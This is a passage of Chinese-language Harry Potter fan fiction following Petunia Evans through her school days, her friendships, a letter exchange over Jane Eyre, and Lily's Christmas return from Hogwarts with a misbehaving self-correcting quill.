回程的车上,伊万斯夫妇在驾驶座前面小声地交谈什么,佩妮把头靠在车窗上,看着车窗外的建筑一座座倒退,倒影投射到她的脸上。
车停到家门口,远处阴沉的天空翻滚着乌云,空气中闷得她喘不过气来。街角的路灯沉默地伫立在那里,佩妮想起来,6岁时走在科克沃斯夜晚的街道上,街灯为什么会在她觉得要亮的时候就亮起来呢,7岁的时候伊万斯先生给她揭示了这个谜底,街灯不是因为她亮的,街灯是每天晚上19点准时自动亮起来的。
佩妮坐在桌子上,想着今天发生的一切,国王十字车站,9又4/3站台,只有巫师能通过的石墙,飞舞的猫头鹰,乱哄哄的人群。
科克沃斯要下雨了,可是墙那边会是什么天气?
乱糟糟的情绪就像窗外乱糟糟的乌云一样。
佩妮猛地站起来,她要去洗一个澡。
突然间,有什么东西叮当一声掉到了地上,佩妮定睛一看,是那把紫罗兰色的钥匙,佩妮深吸一口气,弯腰捡起那把冰冷的钥匙,紧紧地握住。
暑假真的结束了。
11. chapter10
“妈妈,我去学校了。”佩妮与在厨房忙活的伊万斯太太告别,跳上自己的那辆二手自行车,拧动车头的铃铛,清脆一响,拉开清晨的序幕。
太阳还没完全出来,雾气暂时笼罩着整个科克沃斯,天空是蓝灰色的,但是空气很清新。佩妮骑着单车冲下坡,加速穿过一条旧铁轨横切的街道,铁轨间长着茂盛的花草,白色的花朵点缀在绿色草丛中,随佩妮穿过的风而轻微摇摆。
清脆的车铃铛划破一间废旧工厂门前寂静的空气,冲进工厂区域,太阳慢慢升起,阳光从前方投射下来,驱散空气中飞舞的尘埃。
穿过工厂去佩妮蹬进了穿行于主街与学校之间的熟悉街道,几声车铃铛声,在佩妮身后响起来。
“佩妮!”普尔佳穿着灰色的格子裙踩着单车从佩妮的左后方追上来,她黑色的头发上别着一个像晴天的天空一样蓝的发卡。随后在右边薇拉也踩着单车追了上来,她头上系着一条苏格兰风情的头巾,暑假期间她全家也出去旅游了,薇拉看起来晒黑了一点。
“佩妮,你的暑假过得怎么样,看我的头巾!”薇拉踩着单车追上来,偏头看了几眼佩妮,大声说:“哦天呐,你晒黑了”。
佩妮尖叫了起来:“天呐,我才没有晒黑,晒黑的是你!”随后几个女孩子咯咯笑起来。小巷中几家小铺子的卷帘门半掀着,她们常去的那家成衣店,门口还挂着“休息中”的牌子,但是烘焙坊的厨房已经传来响动。
街道后面是一座隶属英格兰教会的小教堂,教堂外墙上的公告栏上贴着有些剥落的圣母像,旁边是用钢笔工整书写的祷告时间。穿过教堂,学校的轮廓终于在浮现在眼前,铁门在清晨的阳光下大开,草坪上散落明媚的阳光,佩妮看到有几只蝴蝶在当中飞舞。
三个人齐齐把单车停在路边,佩妮下车拂去额角渗出的一点汗水,对着铃铛光泽的金属,简单整理了一下自己的头发,普尔佳把头上的蓝色发卡取了下来,薇拉则把头上的苏格兰头巾摘了。她们三个对视一眼,互相打量了一下,都是清一色的深色长裙配深色外套,然后将最高的佩妮挤在中间,朝鱼贯进入校园的人群走去。
阿加莎女士就站在校门口,表情严厉地盯着每一个进入校园的女生。
佩妮经过她的时候,偷偷瞄了她一眼,阿加莎女士灰褐色的头发梳得一丝不苟,盘成紧紧的发髻镶在脑后,穿着深色的及膝裙,黑色的羊毛开衫罩在褐色的上衣外,衣领扣到了最上面的一颗扣子,一条银色十字架吊坠项链安静地垂在她的胸前。
她的目光有如实质,压得她们三个人大气也不敢喘一下,战战兢兢地走过去,但是佩妮隐约感觉阿加莎女士对自己点了点头。
一走进教学楼,看不见阿加莎女士,气氛就轻松了起来。薇拉长舒一口气:“天呐,我感觉她好像知道我的头巾在书包里,她的视线快把我的后背烧穿了。”
“放心吧,她要是看到了,你大门都进不来。”普尔佳安慰她。
佩妮想着自己梳得整整齐齐的头发,规矩的衣服,觉得还是自己这么规矩比较好,她想,她要委婉地提醒一下自己的朋友,不要给自己添麻烦。
上课铃声响了,她们匆匆跑进各自的教室。
最后一节课,佩妮飞快地逃离数学课堂,冲进女生活动室,选了一个靠后的座位坐下来。女生活动室的墙角堆着家政课的缝纫工具箱,窗子敞开着,阳光从白漆木窗洒进来,斜斜地落在长桌上,照亮了木桌上棕色的纹路。微风将窗帘吹得摇晃起来,带进来一丝初秋草木的清香。
家政课是她最喜欢的课程。她们在这个课堂上学习缝纫,有时候还学习烹饪,佩妮很擅长这些,有一次做的黄油饼干非常美味,佩妮拿回去后,全家都对她的手艺赞不绝口。
霍金斯太太是一个矮矮胖胖总是笑眯眯的女人,身上总是散发着黄油混合洗衣粉的味道,她今天深色的衣裙外围着一条白色的棉质围裙,一边整理的布料,一边笑眯眯地用中气十足的声音指着黑板上潦草的笔迹:”孩子们,拿出你们的针线包,今天我们要做的是针插小枕头,先挑一块喜欢的布,别忘了用衬布打底,才不会歪歪扭扭,注意不要用针扎了你们的手。”
佩妮掏出自己的针线包,她挑选了一块印着蓝色玫瑰的棉布,灵巧地将丝线穿过了针孔,她做这些总是又快又好,不像莉莉,每次针脚都缝得歪七扭八。
最重要的是这节课还可以公然的交谈不会被罚站。普尔佳坐在佩妮的左后方,一边缝一边对佩妮说:“放学了一起去烘焙坊?新出的黄油蛋糕据说很美味。”
佩妮很想去,但是她摇了摇头:“不行,一会儿我要回家帮妈妈做饭。
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”
普尔佳拍了拍佩妮的肩膀:“没关系,晚餐后见,我们陪薇拉去看新裙子,她要选一条跟她苏格兰头巾搭配的裙子,老时间,老地方。对了,晚餐不要吃太多,我们给你带黄油蛋糕。”
这是她喜欢的活动,佩妮的心情既轻松又愉快。
她是课堂上第一个把针插小枕头交给霍金斯太太的人,她在一角用金线绣上了一个“P”字母,还缀了一粒淡粉色的纽扣。霍金斯太太举着这个小巧、工整的针插小枕头作为示范品,展示给全班看,赞叹地说:“完美的作品,伊万斯小姐。”
视线纷纷落到佩妮身上,普尔佳和薇拉为佩妮鼓掌,她垂下眼睛,努力压抑自己的嘴角,脖颈绷得笔直,她觉得自己此时一定就像一只天鹅一样。
放学的时候,霍金斯太太把佩妮单独留下来,她用愉快的语气对佩妮说:“有一个活儿需要你的帮忙,伊万斯小姐。附近的教会有一批旧教袍需要改进,只要把破的地方缝起来,纽扣松动的地方加固一下就好了,我看了一下教袍破损的地方并不多。伊万斯小姐,你的缝纫水平如此的出众,愿意协助我接受这个活儿吗?哦对了,一件教袍他们愿意支付2先令的报酬。”
佩妮激动得脸红了起来,她既获得了夸赞,又可以挣零花钱,她兴奋地答应了下来。
吃过晚饭,佩妮与普尔佳和薇拉汇合,品尝了她们给自己带的黄油面包,在成衣店试了新出的裙子,普尔佳和薇拉都夸赞其中一条淡绿色的连衣裙非常适合佩妮,佩妮心中盘算了一下,只要给霍金斯太太缝补5条旧教袍,加上目前有的积蓄,她就能把这条裙子拿下来,然后她还会有剩余,可以再去选一些布料,制作成好看的配饰搭配这条新裙子。
现在佩妮白天在学校上课,协助妈妈做饭,等爸爸回来用完晚餐后跟普尔佳和薇拉出去玩,这种生活平淡又充实,佩妮感到非常的满足。
晚上她洗完澡,路过莉莉的房间门口,视线从稍有些落灰的的门把手上滑过。莉莉不在家,她开始习惯安静的二楼,并且她觉得这种在夜晚不需要忍受开关门声和脚步声的日子,非常享受。
她躺在床上,感受到柔软的床被拥抱了她,她隐隐感觉这段时间自己忘了什么,但是她一时想不起来,这时困意袭来,佩妮放弃思索,放任自己陷入深沉的睡眠中。
12. chapter11
第二天佩妮被客厅的一阵喧哗吵醒。拜托,今天是周末欸,佩妮气势汹汹地冲下楼。
塞涅勒就在客厅到处乱窜,在沙发上、餐桌上落下羽毛,妈妈抓不住塞勒涅,佩妮眼睁睁地看着塞勒涅越过餐桌,从不知谁的盘子中叼走了一块面包,爪子撞翻了爸爸面前的红茶。
佩妮冲了过去,大声吼着“塞勒涅!”听到佩妮的声音,这只猫头鹰这才慢悠悠地停在了二楼的房梁上,将面包吞下去,开始梳理起自己的羽毛,仿佛真的像个淑女一样。
“塞勒涅,看看你干的好事!”佩妮快气坏了。塞勒涅在二楼歪着头用它那双黑色的眼睛看着佩妮。
“一只猫头鹰,她能懂什么呢。”妈妈走过来,佩妮接过她手上的抹布擦拭桌子:“这只猫头鹰跟莉莉一样粗鲁。”妈妈一边烤新的面包片,一边对佩妮说:“别这样,莉莉听到了会难过的。”爸爸重新给自己倒了一杯茶,然后收拾桌子上塞勒涅散落的信件:“噢,是莉莉给我们寄来的信。”
“我看看。”妈妈在围裙上擦了擦自己的手,从爸爸手中接过来,然后挑出一封递给佩妮:“噢,这是莉莉写给你的信。”
一封淡黄的羊皮纸信封递到了佩妮的眼前,上面用墨绿色的字体写了“给佩妮”,那个P字写得又大又圆,一看就是莉莉的手笔。
“不是跟她说好要走正规邮局寄信吗?”佩妮劈手夺过来。
她吃完早餐,坐到书桌前,本来想把那封信直接塞进抽屉里,但是犹豫了一下,佩妮还是拆开了信,一目十行地看完了。莉莉在信里说,一个会唱歌的帽子把他们分去了不同的学院,莉莉去了一个叫格兰芬多的学院,而斯内普去了斯莱特林。魔法世界比她想象得精彩多了。邓布利多没有骗她,晚餐是突然从桌子上冒出来的,走廊上有会动的画像,楼梯会突然出现和消失。莉莉写了很多那个所谓的魔法学校的趣事,洋洋洒洒有一页半的纸,佩妮没有耐心全部看完。
会唱歌的帽子,突然出现的晚餐,走廊上会动的画像,佩妮无法想象这些场景。她的视线在最后那句“我很想你,佩妮”上短暂地停留了一下,就把它锁进了抽屉里。
今天她要去给霍金斯太太交付最后一批旧教袍,等教会清点完毕,支付她报酬后,就去把那条新裙子拿下,佩妮这么计划自己的周末。
令人遗憾的是,教会并不能如约支付佩妮的报酬,因为缝补破旧的教袍属于教堂旧物维修项目,经费需要上报市政厅,等财政批下来才行,预计付款时间是两个月后。普尔佳和薇拉安慰佩妮,可以先准备搭配裙子的其他饰品。
佩妮心情低落地回到家,但是爸爸递给佩妮另外一封信,说“从切尔滕纳姆的温德米尔女子书院寄来的。”
佩妮的心一下跳起来。
爸爸看着那封妆点了淡蓝色雏菊的信封,露出疑惑的神情:“佩妮,你什么时候认识了这么远的朋友?是你的笔友吗?”
佩妮把信抢过来,含糊地说了一句:“暑假认识的。”就跳上了楼,把自己关在了房间里。
她坐在桌子前,深吸了一口气,拆开了那封信,光滑的白色信纸上是伊索尔德娟秀的字体。
“给亲爱的花瓣小姐:很抱歉现在才来信,佩妮,你最近还好吗?”
伊索尔德在信里讲了刚开学的事情,她的文字十分平静,那些事情娓娓道来,其实事情也就是那些琐碎的事情,平淡的上课,下课,和同学的交流娱乐,但是被伊索尔德说起来,又有一种佩妮说不上来的力量,光滑的白信纸上透出淡淡的墨香,让她心情平静下来。
“随信附赠一张日常校园生活简笔画,我画的,希望你能喜欢。”
佩妮从信封里掏出另外一张淡黄色的素描纸,纸面边角有些微微翘起,是一副铅笔画,正中央描绘一片椭圆形的湖,湖后面有一栋房子,边上是一座桥,桥上站着几个人。笔画很简单,但是让佩妮忍不住开始畅想。
最后信上写到:“佩妮,你的简爱看完了吗?还有,你的小说怎么样了?期待暑假与你的见面。”
佩妮猛地把信压在桌子上,她想起来自己忘记什么了,伊索尔德借给她的那本简爱还在床缝里没有拿出来呢,至于她要送给伊索尔德的那本小说,噢再说吧,现在先忘掉这件事。
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>佩妮开提笔给伊索尔德回信:“致亲爱的伊索尔德:我目前的生活也好极了……”她给伊索尔德也简单讲了一下自己开学事情,然后告诉伊索尔德她的简爱快看完了,非常好看,感谢伊索尔德的推荐。但她没有急着把信寄出去,她要看完简爱后,在信里跟伊索尔德讨论她。
晚上一切事情结束后,佩妮爬到床上,从床缝里拿出她藏起的那本简爱,拍落封面落下的尘灰,坐在书桌前,打开台灯,翻开书本,她要追上自己在心里跟伊索尔德谎报的进度了,免得到时候伊索尔德问起来,自己不知道怎么回答。
佩妮开始回想自己之前看到哪里了,她有一大段时间没有看过书了,刚开始看前几页的时候,各种纷繁的念头像飞虫一样在佩妮的脑子里乱飞,她一会儿想到和普尔佳薇拉玩耍的裙子,一会儿思考自己想买的绿裙子要搭配什么配饰,一行行的文字看起来非常的陌生,一段话她总要看个两三遍。但是佩妮强迫自己认真看下去,看着看着,尘封在脑子里的剧情又突然全部活了过来,剧情逐渐熟悉起来,于是她兴致勃勃地继续往下看去,现在剧情已经来到罗切斯特跟简求婚,他们马上就要结婚了。
佩妮津津有味地继续看着,月亮爬上了天空的正中间,晚上一切都是那么的安静,但是佩妮逐渐皱起了眉——
“有个人影从壁橱里出来了,拿起蜡烛,高高举着,查看着挂在衣架上的婚纱。”
“好像是个女人,不知道穿的是什么衣服,白色笔直,说不上是长袍、被单还是裹尸布。”
“她从衣架上取下了我的面纱,把它举起来盯着看了很久,后来就拿她往自己头上一披,转身去照镜子。我从那昏暗的长方形镜子里,清清楚楚地看到了她的脸和五官。”
“一张野蛮的脸。骨碌碌转动的红眼睛,还有那张又黑又肿的可怕的脸。”
“它把面纱从自己那丑恶鬼的头上扯下,撕成了两半,扔在地上,用脚踩踏。”
“一双火红的眼睛恶狠狠直朝我瞪着。她猛地把蜡烛举到我面前,在我的眼皮底下把它吹灭了。”
佩妮尖叫一声,把简爱扔了出去。
13. chapter12
她们被一场雨困在普尔佳的家里,因为雷电的原因,电视机的信号被影响,开始频繁闪烁雪花。
佩妮举着遥控器不停地换台,但是雪花、雪花、还是雪花!
雪花的噪音使佩妮感到头疼,她把遥控器放下,仰躺在普尔佳家的沙发上,大喊:“我真的好讨厌下雨啊!”
薇拉坐在沙发的另外一头跟佩妮一样百无聊赖地盯着电视机,雪花的光线在她雪白的脸上投射出明暗交杂的光影,普尔佳放下正在编织的袜子——她的第三个妹妹即将在圣诞节的时候出生。提议去楼上她的房间试她的新衣服,她妈妈给她新买了几条裙子,薇拉的眼睛亮起来,这是个好主意。
普尔佳的房间在二楼,有一点小,但是装潢看起来很温暖,墙上还挂着一张象头神的画像。打开她的衣柜,衣服分门别类挂得整整齐齐,左手边清一色是普尔佳上学时穿的深色的衣服,而在右边挂了几条花纹繁复,色彩非常鲜亮的裙子。
薇拉眼睛一下就亮起来,她拿出一条橘红色镶金色丝线的裙子,这是科克沃斯非常少见的一种颜色,薇拉穿上身试了一下,这条的裙子衬得她皮肤更加雪白,她拜托普尔佳下次也给她带一条。
佩妮不太喜欢这条裙子,她觉得颜色太亮眼,太照耀了,但是不知道怎么的,这条裙子试着试着就穿到了她的身上,她比普尔佳高一点,瘦一点,穿上这身衣服的时候,就像一根竹竿上插了一条色彩夸张的旗帜,简直惨不忍睹,对着镜子,普尔佳和薇拉面面相觑,佩妮撇撇嘴,她要脱下来。
“等一下”薇拉说,薇拉从普尔佳的衣柜里翻出她上学的一件深色的西装外套,披在了佩妮的身上,然后从普尔佳的饰品柜里翻出一条黑色金属扣腰带给佩妮系上,再将一条同色系的纯色发带,给佩妮的金发低低绑了起来,随后把自己身上的一条木制项链解下来给佩妮带上。
“哇哦,”普尔佳对着镜子感叹:“佩妮你变了一个人。”
佩妮看着镜子里,宽大的深色西装外套遮住了橘红色裙子的大部分,只留下下身飘逸的裙摆,摆动间若隐若现佩妮纤细的脚踝。上身宽大的西装压住了裙子夸张的颜色,而裙子飘逸的裙摆又中和了西装的古板,腰带恰到好处的显露出佩妮的腰身,配上古朴的项链和低调的同色系发带,整个人看起来又优雅又随意。
佩妮看着镜子里的自己,脸红了起来。
“这很法式,我是个搭配天才。”薇拉拍拍手。
“不愧是你啊薇拉,给我也搭配一套。”普尔佳目瞪口呆。
薇拉的爸爸妈妈拥有一间不大不小的纺织厂,她还有一个乖巧可爱的弟弟,弟弟还在上小学,她的家境是她们三个人中最好的那一个。薇拉说,她的梦想以后是去伦敦当设计师。
“以后我的设计作品要登上时代杂志的封面。”薇拉如是说。
她们在普尔佳的衣柜前玩着换装游戏,玩累了普尔佳的妈妈喊她们下去喝红茶,佩妮有些遗憾地把裙子挂回去。
三个人躺在普尔佳的沙发上,外面雨变小了,但是天色还是很暗,偶尔还会响起一声滚雷,预示着一场更凶猛的雨,室内干燥的气氛和橘黄色的灯光,还有厨房普尔佳妈妈备菜的声音,让佩妮感到心安。
电视机又可以用了,普尔佳调到平时看的频道,电视的背景声音平和地传过来。
这样安谧的氛围下,佩妮问她的朋友:“你们看过简爱吗?”
薇拉眼睛一眨不眨地盯着电视机:“听说过,但我没看过,看书太无聊了,还不如看电视。”
普尔佳端起她没有织完的袜子,一边编织,一边看电视:“我好几年前看过,但是大部分都忘了,怎么了佩妮。”
“我是说,”佩妮有一些紧张地从沙发上坐起来:“为什么这本小说里面会有一个女鬼?”
“女鬼?”普尔佳的眼神里透露出一丝茫然。
“就是简要嫁给罗切斯特先生的时候,有一个像女鬼一样的女人,出来撕掉了简的婚纱!”
普尔佳停下手上的动作,眼睛往右上方转动,然后恍然大悟:“噢,我想起来了,你说的是伯莎!她不是女鬼,只是一个疯女人而已。”
“疯女人?”
“对呀,我想想,一个阻碍了简和罗切斯特先生结婚的配角,后来就死了,给简和罗切斯特先生的婚姻造成了一点点小的麻烦,但是最后他们还是顺利成章地在一起了。”
“我说”薇拉的视线突然电视机上转过来,盯着佩妮,嘴角露出了不怀好意的微笑:“你不会是被一本小说给吓坏了吧。”
“我才没有!我只是好奇!”佩妮大叫着反驳,但是薇拉已经开始笑起来,然后普尔佳也笑起来,这样的笑声中,佩妮冲过去挠她们的胳肢窝,不准她们笑,但是最后自己也笑起来。
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雨逐渐停了下来。
“好了孩子们,你们要留下来吃饭吗?”普尔佳的妈妈走出厨房问,她的声音有一些疲惫,晚餐时间快到了,佩妮不敢直视她臃肿的身材和巨大的肚子,薇拉和她都齐齐摇了摇头,她们礼貌地和普尔佳的妈妈告别,在普尔佳稍微有一些不舍的目光中各自离去。
晚上,佩妮又坐回自己的书桌前,她把房间所有的灯都打开了,鼓足勇气翻开了那本简爱,给自己打气,强迫自己看了下去。
——什么?这个女鬼一样的疯女人竟然是罗切斯特先生的妻子?他15年前就已经结婚了?
——简在一个凄风苦雨的夜晚离开了。这是对的,这是多么道德多么高尚的做法。
——简一个人在寻找出路的过程风餐露宿,穷困潦倒。佩妮忍不住吸了吸鼻子,简这一路是多么的孤独,又显得她多么的坚韧不拔。
——简被牧师收留,并获得了一笔遗产。佩妮小松了一口气,并由衷的为简感到开心。
——牧师表兄打算去印度传教。他请求简·爱嫁给他并和他同去印度,可是他不爱简。这样的人怎么配得上简高贵的灵魂,他根本就没有认识到简的灵魂有多么的难得,看看,简居然还把遗产给他平分了一半。佩妮生气地想。
——简还想再看看罗切斯特,那个疯女人竟然烧了庄园,罗切斯特先生居然失明了,但是好在这个疯女人跳楼死了。简和罗切斯特先生是相爱的,他们最后结婚了,简得到了自己的幸福生活。
佩妮合上了这本书,长舒了一口气,心里有什么东西涌起来,仿佛她自己也得到了那样的幸福生活一般。她花费了好几个夜晚把这本书读完了,剧情的跌宕起伏使她如痴如醉。伊索尔德的眼光没有错,这本书跟傲慢与偏见一样的好看。
佩妮掏出自己要寄给伊索尔德的半截信,洋洋洒洒写了大半页纸,补上了自己最真情实意的感受。
但是她心底里有一个疑问想问伊索尔德,简爱里面为什么要设计一个这么可怕的疯女人,她差点被这个疯女人吓坏了。不过思考了很久,佩妮还是没有把这个问题问出去,她不想让伊索尔德觉得她是一个会被简爱吓坏的胆小鬼,所以最后她只写下:“伊索尔德,简爱真是一本伟大的小说,随信附上我做的针扎小枕头,希望你能喜欢。”
第二天,她把这封信投进了邮筒,期待着伊索尔德能够尽快收到。
14. chapter13
圣诞节假期的时候,莉莉回来了,他们去国王十字车站接她。
天上飘下来大片的雪花,佩妮往自己的手中哈气,一边跺脚,一边远远遥望着第九站台和第十站台间的那个墙柱子,看着好几个人鬼鬼祟祟地从石柱子里钻出来,这些人都不是莉莉。
终于莉莉从墙柱子里钻出来,佩妮一眼就看到了她,她穿着厚厚的袍子,围着一条鲜红色的围巾,左手一只大箱子,右手一只大箱子,眼睛亮晶晶的,一头标志性的红头发披下来,露出两个一刻不停地在喷出蒸汽的耳朵。
什么在喷气?佩妮以为自己看错了,她定睛一看,然后在心里发出了尖叫,天呐,她怎么两只耳朵都在喷气?
喷气小马达四下观望了一下,很快锁定了佩妮和她身后的伊万斯夫妇,冲他们兴奋地挥挥手,提着箱子就冲了过来,她的耳朵一路都在喷气,引得不断有人侧目,这样打量的目光追着莉莉来到佩妮她们三个人这里。
佩妮觉得自己又快晕过去了。
莉莉扑进伊万斯太太的怀抱里,伊万斯先生接过她的大箱子,往车后座放,刚举起来的时候,箱子里砰的一声震动,吓了伊万斯先生一跳,但是他马上和莉莉一起笑起来。
佩妮指着莉莉的耳朵:“你的耳朵怎么回事?”
莉莉从妈妈怀里抬起头来,有一些不好意思地解释,放假前她去上飞行课,可能是穿太少了,天上比较冷,下来后她就感觉有一点鼻塞和流鼻涕,晚上还发起了低烧,但是校医院的速效感冒药特别管用,只是吃了一剂,她就什么感觉都没有了,但是代价就是耳朵会一直在冒烟。
“噢,看来霍格沃茨把你照顾得不错。”伊万斯太太抚摸莉莉的脸蛋,这个时候莉莉的耳朵又喷出一股白烟,她咯咯笑起来,“就是看起来有一点夸张。”
“好了,上车!快点上车!”佩妮受不了了,她把莉莉从伊万斯太太的怀里拔出来,强行把她塞进车后座,自己跟着坐进去:“爸爸,快点开车,我受不了了,我要回家,太冷了!”
莉莉一上车就抱住了佩妮的胳膊,要把头靠过来,佩妮尖叫地把莉莉推直:“你离我远一点,你耳朵里喷出来的那玩意儿要把我的衣服弄脏了。”
莉莉撇嘴:“只是普通的蒸汽而已嘛。”
“什么都不行,离我远一点。”
“好吧。”莉莉不情不愿地坐远了。
好不容易挨到家,妈妈点燃壁炉,佩妮赶紧把自己的外套送去洗衣间,重新换了一身衣服下来,就看见莉莉打开了她的箱子,就在客厅的地板上,在箱子里掏着什么。
羊皮信纸、墨水瓶、书、书、还是书。
一个小小的箱子里怎么能掏出那么多的东西,佩妮有些好奇。
然后莉莉兴奋地捧起了一把东西,献宝似地拿给他们看:“看,爸爸妈妈,佩妮,这是我在霍格沃茨列车上买的糖果!这是比比多味豆,有很多种口味,爸爸你吃吃,但是你要小心,里面可能会有耳屎口味的。”爸爸拆了一颗糖,放进嘴里,大家都小心地盯着他,他谨慎地嚼了嚼,眉头先是舒展:“不是耳屎味。”大家松了一口气,但他眉头又皱了起来:“好像是西兰花味。”莉莉一下就露出了嫌恶的表情。
“妈妈,这个是我朋友送给我的滋滋蜜蜂糖,吃了后会飘起来!你要不要试一下?”
“谢谢你,莉莉,但是一会儿我要去做饭,现在我还不想飘起来。”
“佩妮,你看这个。”一个糖果礼盒递到了佩妮的手上,标签上写着“巧克力蛙”,拆开一看,里面是一只巧克力做的青蛙,佩妮要伸手把它拿出来,但是那个巧克力做的青蛙一下就活了过来,在佩妮的手中跳了一下,佩妮尖叫着把它甩了出去:“什么东西!”
莉莉赶紧趴下去寻找那个逃窜的巧克力蛙:“别担心,就是普通的巧克力而已,噢,要找到它,不然一会儿融化在地毯下就不好了。”莉莉说的很对,她们在地毯下找到巧克力蛙的时候,它已经被壁炉的温度烤得有一点融化了。
莉莉惋惜地看着这个掉在地上不能吃的青蛙,好奇地问佩妮:“你抽到了什么卡片?”佩妮从盒子里掏出一张卡牌,转过来,是一个戴半月形眼镜、长鹰钩鼻、银发长须的老巫师,画面中本应该静止的人物,突然对佩妮眨了眨眼睛,露出了一个微笑,佩妮讶然。
“噢,是邓布利多教授!”莉莉惊呼。
佩妮一下就觉得索然无味起来。她
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把卡牌塞进莉莉的怀里,对她说:“收好你的东西,我们要吃饭了。”
“还有其他的好东西呢,算了,圣诞节那天再给你们看,那是我给你准备的礼物。”莉莉低头去收她的箱子。
餐桌上莉莉神采飞扬地讲述自己在霍格沃茨上的课。
“我们在魔咒课上学习把东西飘起来,就是这样挥舞我的魔杖,然后羽毛就飞起来了,可惜在家里我不能用魔咒,不然就可以给你们演示一下了。”
“还有变形课,我们要把一根火柴变成一根针,难以想象是不是,这个真的很难,我试了很久很久,但是最后我还是成功了,麦格教授说,你要想象一根针,而且需要一根非常具体的针。”
“我最喜欢魔药课,我很喜欢斯拉霍恩教授,他虽然是斯莱特林的院长,但是他不会用鼻孔看人。做魔药有一点像做饭,拿一个坩埚,在火上烤,处理药材就像是处理食材一样,切碎,研磨,在适当的时间扔进锅里,砰,就成了。西弗勒斯也很擅长这个。”
“妈妈我们还可以骑飞天扫帚,你就这样,伸出右手,对它说起来,扫帚就到你手里了,呃,飞行的时候要多穿一点衣服,不然就会像我一样感冒了。”
佩妮从厨房把蜂蜜小饼干拿出来,这是她在烘焙课上学的东西,她端到桌子上,但是有莉莉那些神奇的糖果在前面,佩妮觉得自己这个既不能动,也没法让人飘起来的饼干看起来真没什么意思。
莉莉看到佩妮:“佩妮,你在学校都学一些什么?”
佩妮把蜂蜜小饼干端上桌,努了怒嘴:“如你所见,我们学这个。”
莉莉拿一块小熊形状的饼干往自己的嘴巴里塞:“蜂蜜味的!这是我最喜欢的口味,还是个小熊,佩妮,你的课程看起来也很好玩。”
是吗?佩妮想。
晚上吃完饭,莉莉拉着佩妮坐在沙发上看电视,她抱怨:“我终于可以看电视了,难以想象,霍格沃茨居然没有电视,如果霍格沃茨能够引进电视,我发誓在,那群男生一定会因此消停很多的。”
佩妮就坐在沙发上,看着莉莉津津有味地盯着电视机,眼睛一眨不眨,黑白的画面里男女主角载歌载舞,她想说什么,最后又没说。
15. chapter14
圣诞节到了,佩妮开始拆自己的圣诞礼物。
伊索尔德送给了佩妮一个奇怪的东西,一根细柳枝穿着一个手掌大小的圆形金属框架,里面编制着网状的白色丝线,就像蜘蛛网一样。丝线上零星点缀着粉色和蓝色的珠子,底部垂坠着几根染成靛蓝的羽毛。
伊索尔德说这个东西叫做捕梦网,一个来自北美洲古老部落的东西,用来守护佩妮的睡眠。圆形框架象征生命的轮回,编织得像蛛网的丝线代表蜘蛛女的守护,在传说里,蛛女教会人们编织,它可以捕捉噩梦。丝线上镶嵌的珠子是指引美梦的路标。垂坠的羽毛是勇气和智慧的象征。
“把它挂在你的床头,祝你每天晚上都拥有一场美梦。”伊索尔德这么写。
佩妮把这件幻梦一样的东西挂在自己的床头,莉莉看到了发出惊叹:“佩妮,你什么时候认识了新朋友,我也可以认识她嘛?”
佩妮说莉莉和她对不上时间,莉莉上学,她也上学,莉莉放假,她也放假。
佩妮自私地想,这是独属于佩妮·伊万斯的秘密。
薇拉给佩妮送了一条古朴但是十分有质感的腰带,普尔佳送了佩妮一条自己编制的手串。
“快拆我送给你的礼物!”莉莉有一些着急。
佩妮最后拆开了莉莉给她的礼物,是一根羽毛笔,和一瓶墨水。
“会自动修改的羽毛笔,还有永远写不完的墨水。羽毛笔我请了好几个高年级的学姐帮我改造了一下,它会自动修改你拼写的错误,当然,只能是基础的拼写之类的。永远写不完的墨水,呃,也不是永远写不完,就是你可以用很长很长的时间。”莉莉有一些骄傲地说:“佩妮,它可以帮助你写论文!”
“可是我不需要写论文啊。”佩妮的学校不需要这么复杂的作业,最多在写作课的时候学习一些单词的拼写和长短句的练习。
“呃,呃。”莉莉一下卡壳了:“我是,我是在写论文的时候,觉得要是有这两样东西就好了,我以为佩妮你也会需要,我以为你会喜欢。”
佩妮把莉莉给的东西收起来:“我收下了。”
“原来你们都不需要写论文的!”莉莉又旋然露出艳羡的表情。
是啊,现代中学不需要论文写作,他们只需要学习一些基本的技能课程。
晚上坐在书桌前,佩妮掏出这个羽毛笔,沾了一点所谓永远写不完的墨水,在纸上试探性地写到 “I‘m a pencl.” 羽毛笔在她手上振动,佩妮惊讶地松开,羽毛笔自己动了,它在佩妮的手中轻轻抖了抖自己的羽毛,划掉了那个“pencl”,重新写下“pencil”。
竟然还真的有用,佩妮把羽毛笔和墨水放在桌子上,然后上床睡觉去了。
第二天一早,佩妮从睡梦中睁开眼。
“莉!莉!”然后她发出了有史以来最尖锐的叫声。
她的桌子上、凳子上、门上、窗台上、床单上、被子上、甚至天花板上!都被墨水写满了“I’m a pencl”划掉“I‘m a pencil”。墨水瓶彻底空了,羽毛笔此刻无力地躺在靠近门的地方,好像用尽了所有的力气,又偶尔轻微地挣扎着抖动一下,死灰复燃一样。
佩妮闭上眼,又睁开眼,多么希望眼前只是一场噩梦。
莉莉穿着她的睡裙,顶着一头乱蓬蓬的头发冲过来,眼睛还没
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睁开,看到佩妮房间的情景愣在了原地。
“上帝啊。”爸爸妈妈冲过来,也呆住了。
“完蛋了,修改的魔咒之间存在好像冲突。”莉莉喃喃道。
美好假期的一整天就交代在这里了。
妈妈把佩妮房间的所有的床单被套都洗了一个遍,爸爸在思考怎么给佩妮的小床、书桌、凳子重新上一遍漆,佩妮和莉莉两个人提着桶和抹布,里里外外把佩妮房间里的门墙地板擦了个干干净净。
莉莉给的还是号称永远用不完的墨水(Never endless),可是墨水现在用完了,留下的痕迹却十分难擦,真的是没完没了了(Never endless)!
最后就剩地板的一小块了,她们两个人都累得不行,抹布洗了一遍又一遍,还得不停地从一楼的盥洗室提一桶又一桶干净的水上来,她们两个瘫坐在地板上,头抵着头,生无可恋地擦着最后一块地板。
莉莉抬头看了佩妮一眼,低下头,又抬头,最后捂住嘴:“佩妮,你头上也有。”
佩妮立刻把旁边的水桶拽过来,低头往里一看,水面的反光下,自己的发际线旁边竟然也有一小串的字符,羽毛笔趁自己熟睡的时候,写这儿来了!
“你是一只铅笔。”莉莉终于忍不住咯咯笑了起来。
佩妮看着自己手上斑斑的墨迹,忍无可忍,她冲上去把罪魁祸首扑倒,利用绝对的身高优势压住罪魁祸首,然后把手上的墨汁狠狠地抹在了她白嫩的脸上。
气死我了,佩妮想。
莉莉一边挣扎一边大笑:“噢,佩妮,我错了,我错了。”
最后佩妮也忍不住笑起来。
16. chapter15
“所以今晚我们一起看电视吧,莉莉。”佩妮决定主动邀请一次莉莉。
